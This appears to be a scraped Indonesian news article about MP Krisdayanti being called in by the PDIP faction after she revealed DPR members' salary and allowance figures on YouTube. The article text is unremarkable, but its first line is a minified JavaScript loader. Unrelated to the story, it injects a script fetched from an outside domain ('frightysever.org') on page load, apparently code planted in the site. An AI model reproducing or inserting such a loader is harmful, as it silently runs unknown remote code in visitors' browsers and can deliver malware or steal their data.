(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

NASIONAL

Usai Blak-blakan Gajinya Sebagai Anggota DPR, Krisdayanti Dipanggil Fraksi PDIP

KANALKALIMANTAN.COM, JAKARTA– Krisdayanti alias KD dipanggil Fraksi PDIP atas pernyataannya membuka gaji anggota DPR dalam konten YouTube. Tak bisa ditampik, blak-blakan KD mengenai pendapatannya sebagai anggota dewan menimbulkan kegaduhan di tengah publik.

Belum ada pernyataan resmi dari Krisdayanti usai menemui Ketua Fraksi PDI Perjuangan DPR Utut Adianto dan Sekretaris Fraksi PDI Perjuangan DPR Bambang Wuryanto. Tapi lewat Instagram, salah satu Diva Indonesia itu unggah sebuah foto.

KD berpose dengan kedua pimpinannya itu di ruangan Fraksi PDIP. Istri Raul Lemos itu berdiri diapit oleh Utut dan Bambang.

“Satu rumah, satu visi, satu misi. Alhamdulillah. Ijin senior. Bersama Ketua Fraksi PDI Perjuangan DPR Drs Utut Adianto & Sekretaris Fraksi PDI Perjuangan Bambang Wuryanto.

Merdekaaa!” tulis KD di caption, Jumat (17/9/2021).

Sayangnya, Krisdayanti mematikan kolom komentar unggahan tersebut. Kendati begitu, foto tersebut mendapat 4 ribuan like dari warganet.

Sebelumnya, KD diminta menemui Ketua Fraksi PDIP dan Sekretaris PDIP menyusul pernyataannya membuka gaji anggota DPR. Utut mengatakan apa yang disampaikan KD benar, tapi sebagai politisi seharusnya pernyataan itu jangan disampaikan ke publik karena bisa memicu kegaduhan.

Utut memastikan pemanggilan Krisdayanti bukan untuk ditegur, melainkan diskusi. Dia meminta agar KD perlu memperbaiki komunikasi publik untuk mencegah mispersepsi.

Baca juga :Â DPRD Kapuas Kedatangan Rombongan Legislator Kalsel

Blak-blakan KD soal anggota DPR ada di kanal YouTube Akbar Faisal. Dia mengaku merima gaji di awal bulan sebesar Rp 16 juta.

Lima hari setelah gaji pokok itu diterimanya, KD mengaku mendapat tunjangan sebesar Rp 59 juta. Bukan cuma itu, KD juga bilang menerima dana aspirasi sebesar Rp 450 juta lima kali dalam setahun.

Terakhir, ada juga dana kunjungan daerah pemilihan atau dana reses senilai Rp 140 juta. (suara)

Editor: cell